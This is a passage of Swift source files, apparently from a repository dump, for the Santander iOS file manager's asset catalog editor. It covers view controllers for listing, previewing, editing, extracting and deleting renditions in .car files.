createDataSource\n        // it won't be nil when it's used in the layout closure.\n        lazy var snapshot = dataSource.snapshot()\n        let layout = UICollectionViewCompositionalLayout { sectionIndex, enviroment in\n            let section = snapshot.sectionIdentifiers[sectionIndex]\n            switch section {\n            case .itemPreview:\n                let itemSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),\n                                                     heightDimension: .estimated(180))\n                let item = NSCollectionLayoutItem(layoutSize: itemSize)\n                let groupSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),\n                                                       heightDimension: .estimated(180))\n                let group = NSCollectionLayoutGroup.horizontal(layoutSize: groupSize, subitem: item, count: 1)\n                group.interItemSpacing = .fixed(20)\n                \n                return NSCollectionLayoutSection(group: group)\n            case .itemActions:\n                let itemSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),\n                                                     heightDimension: .fractionalHeight(1.0))\n                let item = NSCollectionLayoutItem(layoutSize: itemSize)\n\n                let groupSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),\n                                                      heightDimension: .absolute(44))\n                let group = NSCollectionLayoutGroup.horizontal(layoutSize: groupSize, subitem: item, count: snapshot.numberOfItems(inSection: section))\n                \n                let spacing = CGFloat(10)\n                group.interItemSpacing = .fixed(spacing)\n                \n                let section = NSCollectionLayoutSection(group: group)\n                section.interGroupSpacing = spacing\n                section.contentInsets = NSDirectionalEdgeInsets(top: 0, leading: 16, bottom: 0, trailing: 16)\n                return section\n            default:\n                let list = NSCollectionLayoutSection.list(\n                    using: .init(appearance: .sidebar),\n                    layoutEnvironment: enviroment\n                )\n                list.interGroupSpacing = 5\n                \n                return list\n            }\n        }\n        let config = UICollectionViewCompositionalLayoutConfiguration()\n        config.interSectionSpacing = 10\n        layout.configuration = config\n        \n        return layout\n    }\n    \n    enum Section: Hashable {\n        /// The item preview, ie, the image or color's view\n        case itemPreview\n        \n        /// Actions to do, such as saving the image if available\n        case itemActions\n        \n        /// The core item information, in a list layout, such as the name / width / height\n        /// this is available for *all* renditions\n        case itemInfo\n        \n        /// The item information that is specific to it's type,\n        /// ie, the red, green and blue components of a color\n        case specificTypeInfo\n        \n        /// The information specifically related to the rendition,\n        /// coming from CUIRenditionKey\n        case renditionKeyInfo\n        \n        /// The delete item button\n        case deleteItem\n    }\n    \n    enum ItemType: Hashable {\n        case preview\n        case action(ItemAction)\n        case details(DetailItem)\n        \n        static func fromDetails(_ details: [DetailItem]) -> [ItemType] {\n            return details.map { details in\n                ItemType.details(details)\n            }\n        }\n    }\n    \n    struct DetailItem: Hashable {\n        /// The text of the primary label, ie \"Height\"\n        let primaryText: String\n        \n        /// The text of the secondary label, ie, the height number as a String\n        let secondaryText: String\n        \n        init(primaryText: String, secondaryText: String?) {\n            self.primaryText = primaryText\n            self.secondaryText = secondaryText ?? \"N/A\"\n        }\n        \n        init<DetailTextType: CustomStringConvertible>(primaryText: String, secondaryText: DetailTextType?) {\n            self.primaryText = primaryText\n            self.secondaryText = secondaryText?.description ?? \"N/A\"\n        }\n    }\n    \n    struct ItemAction: Hashable {\n        static func == (lhs: ItemAction, rhs: ItemAction) -> Bool {\n            return lhs.displayText == rhs.displayText\n        }\n        \n        let displayText: String\n        let displayImage: UIImage?\n        let textColor: UIColor?\n        let action: (() -> Void)\n        \n        \n        init(displayText: String, displayImage: UIImage?, textColor: UIColor? = nil, action: @escaping () -> Void) {\n            self.displayText = displayText\n            self.displayImage = displayImage\n            self.textColor = textColor\n            self.action = action\n        }\n        \n        func hash(into hasher: inout Hasher) {\n            hasher.combine(displayText)\n            hasher.combine(displayImage)\n            hasher.combine(textColor)\n        }\n    }\n}\n\nextension AssetCatalogRenditionViewController: UICollectionViewDelegate, UICollectionViewDragDelegate {\n    func collectionView(_ collectionView: UICollectionView, contextMenuConfigurationForItemAt indexPath: IndexPath, point: CGPoint) -> UIContextMenuConfiguration? {\n        UIContextMenuConfiguration(identifier: nil, previewProvider: nil) { [self] _ in\n            let item = dataSource.itemIdentifier(for: indexPath)\n            switch item {\n            case .action(let itemAction):\n                let menuAction = UIAction(title: itemAction.displayText, image: itemAction.displayImage) { _ in\n                    itemAction.action()\n                }\n                \n                return UIMenu(children: [menuAction])\n            case .details(let detail):\n                let menuAction = UIAction(title: \"Copy\", image: UIImage(systemName: \"doc.on.doc\")) { _ in\n                    UIPasteboard.general.string = detail.secondaryText\n                }\n                \n                return UIMenu(children: [menuAction])\n            default:\n                return nil\n            }\n        }\n    }\n    \n    func collectionView(_ collectionView: UICollectionView, shouldHighlightItemAt indexPath: IndexPath) -> Bool {\n        switch dataSource.itemIdentifier(for: indexPath) {\n        case .action(_): return true\n        default: return false\n        }\n    }\n    \n    func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {\n        switch dataSource.itemIdentifier(for: indexPath) {\n        case .action(let action): action.action()\n        default: break\n        }\n    }\n    \n    func collectionView(_ collectionView: UICollectionView, itemsForBeginning session: UIDragSession, at indexPath: IndexPath) -> [UIDragItem] {\n        // here, we are dragging the preview item displayed\n        // which is in the first section\n        guard indexPath.section == 0, let dragItem = rendition.makeDragItem() else { return [] }\n        \n        // (if we can) get the cell that is being dragged, set the previewProvider properly\n        // otherwise funky behaviour arises\n        if let cell = collectionView.cellForItem(at: indexPath) as? AssetCatalogGridPreviewCell {\n            dragItem.previewProvider = {\n                let params = UIDragPreviewParameters()\n                params.backgroundColor = .clear\n                return UIDragPreview(view: cell.previewView, parameters: params)\n            }\n        }\n        \n        return [\n            dragItem\n        ]\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/AssetCatalog/AssetCatalogSectionHeader.swift",
    "content": "//\n//  AssetCatalogSectionHeader.swift\n//  Santander\n//\n//  Created by Serena on 21/09/2022\n//\n\n\nimport UIKit\nimport AssetCatalogWrapper\n\nclass AssetCatalogSectionHeader: UICollectionReusableView {\n    let stackView = UIStackView()\n    \n    let titleLabel = UILabel()\n    let subtitleLabel = UILabel()\n    \n    func configure(withSection section: RenditionType, snapshot: NSDiffableDataSourceSnapshot<RenditionType, Rendition>, sender: AssetCatalogViewController) {\n        // The titleLabel's text is the name of the section\n        // And the subtitleLabel's text is the amount of items in the section\n        // ie, the UI would look something like\n        // \"Color\"\n        // \"6 Items\"\n        \n        titleLabel.text = section.description\n        titleLabel.font = .preferredFont(forTextStyle: .title3)\n        \n        subtitleLabel.text = \"\\(snapshot.itemIdentifiers(inSection: section).count) Items\"\n        subtitleLabel.textColor = .secondaryLabel\n        subtitleLabel.font = .preferredFont(forTextStyle: .caption1)\n        \n        stackView.addArrangedSubview(titleLabel)\n        stackView.addArrangedSubview(subtitleLabel)\n        \n        stackView.axis = .vertical\n        stackView.translatesAutoresizingMaskIntoConstraints = false\n        addSubview(stackView)\n        \n        let guide = layoutMarginsGuide\n        NSLayoutConstraint.activate([\n            stackView.centerYAnchor.constraint(equalTo: guide.centerYAnchor),\n            stackView.leadingAnchor.constraint(equalTo: guide.leadingAnchor)\n        ])\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/AssetCatalog/AssetCatalogSidebarListView.swift",
    "content": "//\n//  AssetCatalogSidebarListView.swift\n//  Santander\n//\n//  Created by Serena on 27/10/2022\n//\n\n\nimport UIKit\nimport AssetCatalogWrapper\n\nclass AssetCatalogSidebarListView: UIViewController {\n    \n    enum Section: Hashable {\n        case main\n    }\n    \n    typealias DataSource = UICollectionViewDiffableDataSource<Section, RenditionType>\n    typealias Snapshot = NSDiffableDataSourceSnapshot<Section, RenditionType>\n    typealias CellRegistration = UICollectionView.CellRegistration<UICollectionViewListCell, RenditionType>\n    \n    let catalogController: AssetCatalogViewController\n    \n    var collectionView: UICollectionView!\n    var dataSource: DataSource!\n    \n    lazy var sections: [RenditionType] = []\n    \n    init(catalogController: AssetCatalogViewController) {\n        self.catalogController = catalogController\n        \n        super.init(nibName: nil, bundle: nil)\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        makeCollectionView()\n        makeDataSource()\n        addItems()\n        \n        splitViewController?.setViewController(catalogController, for: .secondary)\n        \n        title = catalogController.fileURL.deletingPathExtension().lastPathComponent\n        navigationController?.navigationBar.prefersLargeTitles = true\n    }\n    \n    func makeCollectionView() {\n        let layout = UICollectionViewCompositionalLayout { _, env in\n            return .list(using: UICollectionLayoutListConfiguration(appearance: .sidebar), layoutEnvironment: env)\n        }\n        \n        collectionView = UICollectionView(frame: .zero, collectionViewLayout: layout)\n        collectionView.translatesAutoresizingMaskIntoConstraints = false\n        collectionView.delegate = self\n        view.addSubview(collectionView)\n        \n        collectionView.constraintCompletely(to: view)\n    }\n    \n    func makeDataSource() {\n        \n        let cellRegistration = CellRegistration { cell, indexPath, itemIdentifier in\n            var conf = cell.defaultContentConfiguration()\n            conf.text = itemIdentifier.description\n            conf.image = itemIdentifier.displayImage\n            cell.contentConfiguration = conf\n        }\n        \n        self.dataSource = DataSource(collectionView: collectionView) { collectionView, indexPath, itemIdentifier in\n            return collectionView.dequeueConfiguredReusableCell(using: cellRegistration, for: indexPath, item: itemIdentifier)\n        }\n    }\n    \n    func addItems() {\n        var snapshot = Snapshot()\n        snapshot.appendSections([.main])\n        snapshot.appendItems(sections, toSection: .main)\n        dataSource.apply(snapshot)\n    }\n}\n\nextension AssetCatalogSidebarListView: UICollectionViewDelegate {\n    func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {\n        catalogController.collectionView.scrollToItem(at: IndexPath(row: 0, section: indexPath.row), at: .top, animated: true)\n    }\n}\n\nfileprivate extension RenditionType {\n    var displayImage: UIImage? {\n        switch self {\n        case .image, .svg:\n            return UIImage(systemName: \"photo\")\n        case .icon:\n            return UIImage(systemName: \"app\")\n        case .imageSet:\n            return UIImage(systemName: \"photo.stack\")\n        case .multiSizeImageSet:\n            return UIImage(systemName: \"cube.box\")\n        case .pdf:\n            return UIImage(systemName: \"doc.richtext\")\n        case .color:\n            return UIImage(systemName: \"paintbrush\")\n        case .rawData:\n            return UIImage(systemName: \"text.quote\")\n        case .unknown:\n            return UIImage(systemName: \"questionmark.app\")\n        }\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/AssetCatalog/AssetCatalogViewController.swift",
    "content": "//\n//  AssetCatalogViewController.swift\n//  Santander\n//\n//  Created by Serena on 16/09/2022\n//\n\n\nimport UIKit\nimport AssetCatalogWrapper\nimport UniformTypeIdentifiers\nimport PhotosUI\n\n#warning(\"Also make a view for displaying information about this catalog and display it above the collection view\")\nclass AssetCatalogViewController: UIViewController {\n    typealias DataSource = UICollectionViewDiffableDataSource<RenditionType, Rendition>\n    typealias SupplementaryRegistration = UICollectionView.SupplementaryRegistration<AssetCatalogSectionHeader>\n    typealias CellRegistration = UICollectionView.CellRegistration<AssetCatalogCell, Rendition>\n    \n    static let titleElementKind = \"RenditionTypeTitle\"\n    \n    let fileURL: URL\n    var renditionCollection: RenditionCollection\n    var catalog: CUICatalog\n    fileprivate var editorDelegate: ItemEditorDelegate?\n    \n    var collectionView: UICollectionView!\n    var dataSource: DataSource!\n    var noResultsLabel: UILabel = UILabel()\n    var layoutMode: LayoutMode = LayoutMode(UserPreferences.assetCatalogControllerLayoutMode) {\n        didSet {\n            collectionView.setCollectionViewLayout(createLayout(), animated: true)\n            UserPreferences.assetCatalogControllerLayoutMode = layoutMode.rawValue\n        }\n    }\n    \n    init(renditions: RenditionCollection, fileURL: URL, catalog: CUICatalog) {\n        self.renditionCollection = renditions\n        self.fileURL = fileURL\n        \n        self.catalog = catalog\n        \n        super.init(nibName: nil, bundle: nil)\n    }\n    \n    convenience init(catalogFileURL fileURL: URL) throws {\n        let (catalog, renditions) = try AssetCatalogWrapper.shared.renditions(forCarArchive: fileURL)\n        self.init(renditions: renditions, fileURL: fileURL, catalog: catalog)\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        // on iPad, the title is instead displayed on the sidebar\n        if !UIDevice.isiPad {\n            let filename = fileURL.deletingPathExtension()\n            title = filename.lastPathComponent\n            navigationController?.navigationBar.prefersLargeTitles = true\n        }\n        \n        navigationItem.hidesSearchBarWhenScrolling = false\n        \n        let searchController = UISearchController()\n        searchController.searchBar.delegate = self\n        navigationItem.searchController = searchController\n        \n        configureCollectionView()\n        configureDataSource()\n        \n        setupBarItems()\n    }\n    \n    \n    // scroll up or down keyboard shortcuts\n    override var keyCommands: [UIKeyCommand]? {\n        return [\n            UIKeyCommand(title: \"Scroll Up\", action: #selector(goUpOrDown(sender:)), input: UIKeyCommand.inputUpArrow, modifierFlags: .command),\n            UIKeyCommand(title: \"Scroll Down\", action: #selector(goUpOrDown(sender:)), input: UIKeyCommand.inputDownArrow, modifierFlags: .command)\n        ]\n    }\n    \n    @objc\n    func goUpOrDown(sender: UIKeyCommand) {\n        switch sender.input {\n        case UIKeyCommand.inputDownArrow:\n            let snapshot = dataSource.snapshot()\n            if let last = snapshot.sectionIdentifiers.last {\n                let section = snapshot.sectionIdentifiers.count\n                let row = snapshot.itemIdentifiers(inSection: last).count\n                collectionView.scrollToItem(at: IndexPath(row: row - 1, section: section - 1), at: .bottom, animated: true)\n            }\n        case UIKeyCommand.inputUpArrow:\n            collectionView.scrollToItem(at: IndexPath(row: 0, section: 0), at: .top, animated: true)\n        default:\n            break\n        }\n    }\n    \n    func configureCollectionView() {\n        self.collectionView = UICollectionView(frame: .zero, collectionViewLayout: createLayout())\n        collectionView.translatesAutoresizingMaskIntoConstraints = false\n        collectionView.backgroundColor = .systemBackground\n        collectionView.dragDelegate = self\n        collectionView.delegate = self\n        \n        view.addSubview(collectionView)\n        \n        collectionView.constraintCompletely(to: view)\n    }\n    \n    func makeMenuForBarButton() -> UIMenu {\n        let extractAction = UIAction(title: \"Extract to..\") { _ in\n            self.extractAction()\n        }\n        \n        let changeLayoutActions = LayoutMode.allCases.map { [self] mode in\n            return UIAction(title: mode.description, state: layoutMode == mode ? .on : .off) { [self] _ in\n                layoutMode = mode\n                setupBarItems() // update the bar items so that the new selected mode is marked with a checkmark\n            }\n        }\n        \n        let changeLayoutMenu = UIMenu(title: \"Layout\", children: changeLayoutActions)\n        return UIMenu(children: [extractAction, changeLayoutMenu])\n    }\n    \n    func setupBarItems() {\n        let dismissAction = UIAction { _ in\n            self.dismiss(animated: true)\n        }\n        \n        navigationItem.rightBarButtonItem = UIBarButtonItem(systemItem: .close, primaryAction: dismissAction)\n        let barButtonWithMenu = UIBarButtonItem(image: UIImage(systemName: \"ellipsis.circle\"), menu: makeMenuForBarButton())\n        \n        // on iPad, leftButton fits more as the right bar button item for the sidebar\n        if UIDevice.isiPad {\n            splitViewController?.viewController(for: .primary)?.navigationItem.rightBarButtonItem = barButtonWithMenu\n        } else {\n            // otherwise, on other platforms, set it as the leftBarButtonItem\n            navigationItem.leftBarButtonItem = barButtonWithMenu\n        }\n    }\n    \n    func extractAction() {\n        let action: PathSelectionOperation = .custom(description: \"extract\", verbDescription: \"Extracting to..\") { [self] operationVC, selectedPath in\n            let extractionPath = selectedPath\n                .appendingPathComponent(\"\\(fileURL.lastPathComponent)-Extracted\")\n            \n            extractItems(extractionPath: extractionPath, sourceVC: operationVC) { error in\n                if let error = error {\n                    operationVC.errorAlert(error, title: \"Unable to extract items\")\n                } else {\n                    // once we're done with extracting,\n                    // go to the directory where the extracted items are\n                    operationVC.dismiss(animated: true) {\n                        self.dismiss(animated: true) {\n                            let rootVC = UIApplication.shared.sceneKeyWindow?.rootViewController\n                            let vcToPushFrom: PathTransitioning?\n                            \n                            if UIDevice.isiPad {\n                                vcToPushFrom = (rootVC as? UISplitViewController)?.viewController(for: .primary) as? PathTransitioning\n                            } else {\n                                vcToPushFrom = (rootVC as? UINavigationController)?.visibleViewController as? PathTransitioning\n                            }\n                            \n                            vcToPushFrom?.goToPath(path: Path(url: extractionPath))\n                        }\n                    }\n                }\n            }\n        }\n        \n        let vc = PathOperationViewController(paths: [fileURL], operationType: action, dismissWhenDone: false)\n        present(UINavigationController(rootViewController: vc), animated: true) {\n            // go to .car's parent path once the operation vc is presented\n            vc.goToPath(path: Path(url: self.fileURL.deletingLastPathComponent()))\n        }\n    }\n    \n    func extractItems(\n        extractionPath savePath: URL,\n        sourceVC: UIViewController,\n        completionHandler: @escaping (Error?) -> Void\n    ) {\n        \n        let alertController = createAlertWithSpinner(title: \"Extracting..\")\n        \n        sourceVC.present(alertController, animated: true)\n        \n        var caughtError: Error? = nil\n        \n        DispatchQueue.global(qos: .userInitiated).async {\n            do {\n                try FSOperation.perform(.extractCatalog(catalogFileURL: self.fileURL, resultPath: savePath), rootHelperConf: RootConf.shared)\n            } catch {\n                caughtError = error\n            }\n        }\n\n        DispatchQueue.main.async {\n            alertController.dismiss(animated: true) {\n                return completionHandler(caughtError)\n            }\n        }\n    }\n    \n    enum LayoutMode: Int, CustomStringConvertible, CaseIterable {\n        case horizantal\n        case verical\n        \n        init(_ rawValue: Int) {\n            // default to horizontal\n            switch rawValue {\n            case LayoutMode.horizantal.rawValue: self = .horizantal\n            default: self = .verical\n            }\n        }\n        \n        var description: String {\n            switch self {\n            case .horizantal:\n                return \"Horizontal\"\n            case .verical:\n                return \"Vertical\"\n            }\n        }\n    }\n}\n\n// MARK: - Layout & Data Source stuff\nextension AssetCatalogViewController: UICollectionViewDelegate {\n    func createLayout() -> UICollectionViewLayout {\n        let section: NSCollectionLayoutSection\n        \n        switch layoutMode {\n        case .verical:\n            let itemSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),\n                                                  heightDimension: .fractionalHeight(1.0))\n            let item = NSCollectionLayoutItem(layoutSize: itemSize)\n            let groupSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),\n                                                   heightDimension: .absolute(60))\n            \n            let group = NSCollectionLayoutGroup.horizontal(layoutSize: groupSize, subitem: item, count: 1)\n            let spacing = CGFloat(10)\n            group.interItemSpacing = .fixed(spacing)\n            \n            section = NSCollectionLayoutSection(group: group)\n            section.interGroupSpacing = spacing\n            section.contentInsets = NSDirectionalEdgeInsets(top: 0, leading: spacing, bottom: 0, trailing: spacing)\n        case .horizantal:\n            let itemSize = NSCollectionLayoutSize(\n                widthDimension: .fractionalWidth(1),\n                heightDimension: .fractionalHeight(0.40)\n            )\n            \n            let layoutItem = NSCollectionLayoutItem(layoutSize: itemSize)\n            layoutItem.contentInsets = NSDirectionalEdgeInsets(top: 0, leading: 5, bottom: 3, trailing: 5)\n            \n            let layoutGroupSize = NSCollectionLayoutSize(\n                widthDimension: .fractionalWidth(0.93),\n                heightDimension: .fractionalWidth(0.55)\n            )\n            \n            let layoutGroup: NSCollectionLayoutGroup = .vertical(\n                layoutSize: layoutGroupSize,\n                subitem: layoutItem,\n                count: 3\n            )\n            \n            layoutGroup.interItemSpacing = .fixed(15)\n            \n            section = NSCollectionLayoutSection(group: layoutGroup)\n            section.orthogonalScrollingBehavior = .groupPagingCentered\n        }\n        \n        let titleHeaderSize = NSCollectionLayoutSize(\n            widthDimension: .fractionalWidth(0.93),\n            heightDimension: .absolute(50)\n        )\n        \n        let titleSupplementary = NSCollectionLayoutBoundarySupplementaryItem(\n            layoutSize: titleHeaderSize,\n            elementKind: AssetCatalogViewController.titleElementKind,\n            alignment: layoutMode == .horizantal ? .top : .topLeading\n        )\n        \n        section.boundarySupplementaryItems = [titleSupplementary]\n        let layout = UICollectionViewCompositionalLayout(section: section)\n        let conf = UICollectionViewCompositionalLayoutConfiguration()\n        conf.interSectionSpacing = 20\n        \n        layout.configuration = conf\n        return layout\n    }\n    \n    \n    func configureDataSource() {\n        let cellRegistration = CellRegistration { cell, indexPath, itemIdentifier in\n            cell.rendition = itemIdentifier\n            cell.configure()\n        }\n        \n        dataSource = DataSource(collectionView: collectionView) { collectionView, indexPath, itemIdentifier in\n            return collectionView.dequeueConfiguredReusableCell(using: cellRegistration, for: indexPath, item: itemIdentifier)\n        }\n        \n        updateDataSourceItems(collection: renditionCollection)\n        \n        let supplementaryRegistration = SupplementaryRegistration(elementKind: AssetCatalogViewController.titleElementKind) { supplementaryView, elementKind, indexPath in\n            let snapshot = self.dataSource.snapshot()\n            let section = snapshot.sectionIdentifiers[indexPath.section]\n            supplementaryView.configure(withSection: section, snapshot: snapshot, sender: self)\n        }\n        \n        dataSource.supplementaryViewProvider = { (collectionView, string, indexPath) in\n            return collectionView.dequeueConfiguredReusableSupplementary(using: supplementaryRegistration, for: indexPath)\n        }\n    }\n    \n    \n    func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {\n        guard let item = dataSource.itemIdentifier(for: indexPath) else { return }\n        let vc = AssetCatalogRenditionViewController(rendition: item, sender: self)\n        present(UINavigationController(rootViewController: vc), animated: true)\n    }\n    \n    func collectionView(_ collectionView: UICollectionView, contextMenuConfigurationForItemAt indexPath: IndexPath, point: CGPoint) -> UIContextMenuConfiguration? {\n        guard let item = dataSource.itemIdentifier(for: indexPath) else { return nil }\n        return UIContextMenuConfiguration(identifier: nil, previewProvider: nil) { _ in\n            let copyNameAction = UIAction(title: \"Copy name\", image: UIImage(systemName: \"doc.on.doc\")) { _ in\n                UIPasteboard.general.string = item.name\n            }\n            var children = [copyNameAction]\n            \n            if let image = item.image {\n                let uiImage = UIImage(cgImage: image)\n                let copyImageAction = UIAction(title: \"Copy Image\") { _ in\n                    UIPasteboard.general.image = uiImage\n                }\n                \n                children.append(copyImageAction)\n                \n                let saveImageAction = UIAction(title: \"Save Image\", image: UIImage(systemName: \"square.and.arrow.down\")) { _ in\n                    self.saveImage(uiImage)\n                }\n                \n                children.append(saveImageAction)\n            }\n            \n            var attributes: UIMenuElement.Attributes = []\n            \n            // can only edit images & icons for now\n            // i tried to get color editing to work but for whatever reason\n            // -[CUIMutableCommonAssetStorage setColor:forName:excludeFromFilter:] just doesn't work..\n            if !item.type.isEditable {\n                attributes = .disabled\n            }\n            \n            let editAction = UIAction(title: \"Edit\", attributes: attributes) { _ in\n                self.editItem(item)\n            }\n            \n            children.append(editAction)\n            \n            \n            let deleteItemAction = UIAction(title: \"Delete\", image: UIImage(systemName: \"trash\"), attributes: .destructive) { [self] _ in\n                deleteItem(item, completion: nil)\n            }\n            \n            children.append(deleteItemAction)\n            \n            return UIMenu(children: children)\n        }\n        \n    }\n    \n    func deleteItem(_ item: Rendition, completion: ((Error?) -> Void)?) {\n        do {\n            try catalog.removeItem(item, fileURL: fileURL)\n            \n            // update the catalog and rendition collection\n            let (newCatalog, newRenditions) = try AssetCatalogWrapper.shared.renditions(forCarArchive: fileURL)\n            self.catalog = newCatalog\n            self.renditionCollection = newRenditions\n            updateDataSourceItems(collection: renditionCollection)\n            completion?(nil)\n        } catch {\n            let completion = completion ?? { error in\n                self.errorAlert(error, title: \"Failed to delete item and update contents of file\")\n            }\n            \n            completion(error)\n        }\n    }\n    \n    func updateDataSourceItems(collection: RenditionCollection) {\n        var snapshot = NSDiffableDataSourceSnapshot<RenditionType, Rendition>()\n        for (section, items) in collection {\n            snapshot.appendSections([section])\n            snapshot.appendItems(items, toSection: section)\n        }\n        \n        dataSource.apply(snapshot, animatingDifferences: true)\n        \n        // update the sections on the iPad sidebar\n        if UIDevice.isiPad, let sidebar = splitViewController?.viewController(for: .primary) as? AssetCatalogSidebarListView {\n            let sections = dataSource.snapshot().sectionIdentifiers\n            var sidebarSnapshot = AssetCatalogSidebarListView.Snapshot()\n            sidebarSnapshot.appendSections([.main])\n            sidebarSnapshot.appendItems(sections, toSection: .main)\n            sidebar.dataSource.apply(sidebarSnapshot)\n        }\n    }\n    \n    func editItem(_ item: Rendition, presentingFrom optionalVcToPresentFrom: UIViewController? = nil, callback: ((Error?) -> Void)? = nil) {\n        guard let preview = item.representation else { return }\n        \n        let vcToPresentFrom = optionalVcToPresentFrom ?? self\n        \n        let errorCallback: ItemEditorDelegate.ErrorCallback = callback ?? { error in\n            if let error = error {\n                vcToPresentFrom.errorAlert(error, title: \"Failed to edit item\")\n            }\n        }\n\n        \n        editorDelegate = ItemEditorDelegate(sender: self, selectedRendition: item, finishedEditingCallback: errorCallback)\n        let vc: UIViewController\n        switch preview {\n        case .image(_):\n            var conf = PHPickerConfiguration()\n            conf.filter = .images\n            conf.selectionLimit = 1\n            let photoVC = PHPickerViewController(configuration: conf)\n            photoVC.delegate = editorDelegate\n            vc = photoVC\n        case .color(let currentCgColor):\n            let colorVC = UIColorPickerViewController()\n            colorVC.delegate = editorDelegate\n            // when presenting the color picker controller,\n            // set the default selected color as the item's current CGColor\n            colorVC.selectedColor = UIColor(cgColor: currentCgColor)\n            vc = colorVC\n        }\n        \n        vcToPresentFrom.present(vc, animated: true)\n    }\n}\n\nextension AssetCatalogViewController: UICollectionViewDragDelegate {\n    func collectionView(_ collectionView: UICollectionView, itemsForBeginning session: UIDragSession, at indexPath: IndexPath) -> [UIDragItem] {\n        guard let dragItem = dataSource.itemIdentifier(for: indexPath)?.makeDragItem() else { return [] }\n        \n        return [\n            dragItem\n        ]\n    }\n    \n}\n\nextension AssetCatalogViewController: UISearchBarDelegate {\n    func searchBar(_ searchBar: UISearchBar, textDidChange searchText: String) {\n        noResultsLabel.removeFromSuperview()\n        guard !searchText.isEmpty else {\n            updateDataSourceItems(collection: renditionCollection) // if the text is empty, show all items\n            return\n        }\n        \n        let newCollection = renditionCollection.map { (type, renditions) in\n            let newRenditions = renditions.filter { rend in\n                return rend.name.localizedCaseInsensitiveContains(searchText)\n            }\n            \n            return (type, newRenditions)\n        }.filter { (_, rends) in\n            !rends.isEmpty\n        }\n        \n        updateDataSourceItems(collection: newCollection)\n        \n        // if there are no search results & the noResultsLabel isn't already being displayed\n        // display it\n        if newCollection.isEmpty, noResultsLabel.superview == nil {\n            noResultsLabel.text = \"No Results\"\n            noResultsLabel.font = .systemFont(ofSize: 20, weight: .bold)\n            noResultsLabel.translatesAutoresizingMaskIntoConstraints = false\n            view.addSubview(noResultsLabel)\n            \n            let guide = view.layoutMarginsGuide\n            NSLayoutConstraint.activate([\n                noResultsLabel.centerXAnchor.constraint(equalTo: guide.centerXAnchor),\n                noResultsLabel.centerYAnchor.constraint(equalTo: guide.centerYAnchor)\n            ])\n        }\n    }\n    \n    func searchBarCancelButtonClicked(_ searchBar: UISearchBar) {\n        noResultsLabel.removeFromSuperview()\n        updateDataSourceItems(collection: renditionCollection)\n    }\n    \n    func fetchItemsFromFile() {\n        do {\n            let (newCatalog, newCollection) = try AssetCatalogWrapper.shared.renditions(forCarArchive: fileURL)\n            self.catalog = newCatalog\n            self.renditionCollection = newCollection\n            updateDataSourceItems(collection: renditionCollection)\n        } catch {\n            let cancelAction = UIAlertAction(title: \"Dismiss\", style: .cancel) { _ in\n                self.dismiss(animated: true)\n            }\n            \n            errorAlert(error, title: \"Unable to update items\", presentingFromIfAvailable: nil, cancelAction: cancelAction)\n        }\n    }\n    \n}\n\n// MARK: - Scroll view stuff\nextension AssetCatalogViewController {\n    // if we get to a new section, then alert the sidebar list on the iPad to select the new section\n    func scrollViewDidEndDragging(_ scrollView: UIScrollView, willDecelerate decelerate: Bool) {\n        guard UIDevice.isiPad, !decelerate else { return }\n        \n        // https://stackoverflow.com/questions/18649920/uicollectionview-current-visible-cell-index\n        let visibleRect = CGRect(origin: collectionView.contentOffset, size: collectionView.bounds.size)\n        let visiblePoint = CGPoint(x: visibleRect.midX, y: visibleRect.midY)\n        \n        guard let visibleIndexPath = collectionView.indexPathForItem(at: visiblePoint),\n              let sidebar = splitViewController?.viewController(for: .primary) as? AssetCatalogSidebarListView else {\n            return\n        }\n        \n        sidebar.collectionView.selectItem(at: IndexPath(row: visibleIndexPath.section, section: 0), animated: true, scrollPosition: .top)\n    }\n    \n}\n\n// MARK: - Editor Delegate\nextension AssetCatalogViewController {\n    /// A class which acts as a delegate for the Photo / Color controllers when editing an item\n    /// from AssetCatalogViewController\n    class ItemEditorDelegate: NSObject, PHPickerViewControllerDelegate, UIColorPickerViewControllerDelegate {\n        \n        // the sender asset catalog view\n        let sender: AssetCatalogViewController\n        \n        // The rendition to edit\n        let selectedRendition: Rendition\n        \n        typealias ErrorCallback = ((Error?) -> Void)\n        var finishedEditingCallback: ErrorCallback?\n        \n        init(sender: AssetCatalogViewController, selectedRendition: Rendition, finishedEditingCallback: ErrorCallback?) {\n            self.sender = sender\n            self.selectedRendition = selectedRendition\n            self.finishedEditingCallback = finishedEditingCallback\n            super.init()\n        }\n        \n        func picker(_ picker: PHPickerViewController, didFinishPicking results: [PHPickerResult]) {\n            picker.dismiss(animated: true)\n            guard let first = results.first else { return }\n            first.itemProvider.loadObject(ofClass: UIImage.self) { [self] image, error in\n                guard let image = image as? UIImage, let cgImage = image.cgImage else {\n                    sender.errorAlert(\"Unable to acquire image selected\", title: \"Unable to edit item\")\n                    return\n                }\n                \n                edit(to: .image(cgImage))\n            }\n        }\n        \n        func colorPickerViewControllerDidFinish(_ viewController: UIColorPickerViewController) {\n            edit(to: .color(viewController.selectedColor.cgColor))\n        }\n        \n        func edit(to newItem: Rendition.Representation) {\n            DispatchQueue.main.async { [self] in\n                // So, because CoreUI is dumb,\n                // CUIMutableCommonAssetStorage fails to init for some paths\n                // (Even paths we have access to)\n                // So, to circumvent this:\n                // 1) We copy the existing .car to the temporary directory (because asset storage won't fail to init there)\n                // 2) We edit the one in the tmp directory\n                // 3) We overwrite the original file with the edited one from the temporary directory\n                \n                let tmpFilename = \"\\(sender.fileURL.lastPathComponent)-TMP-EDIT-\\(UUID().uuidString.prefix(5))\"\n                let temporaryFileURL = URL(fileURLWithPath: 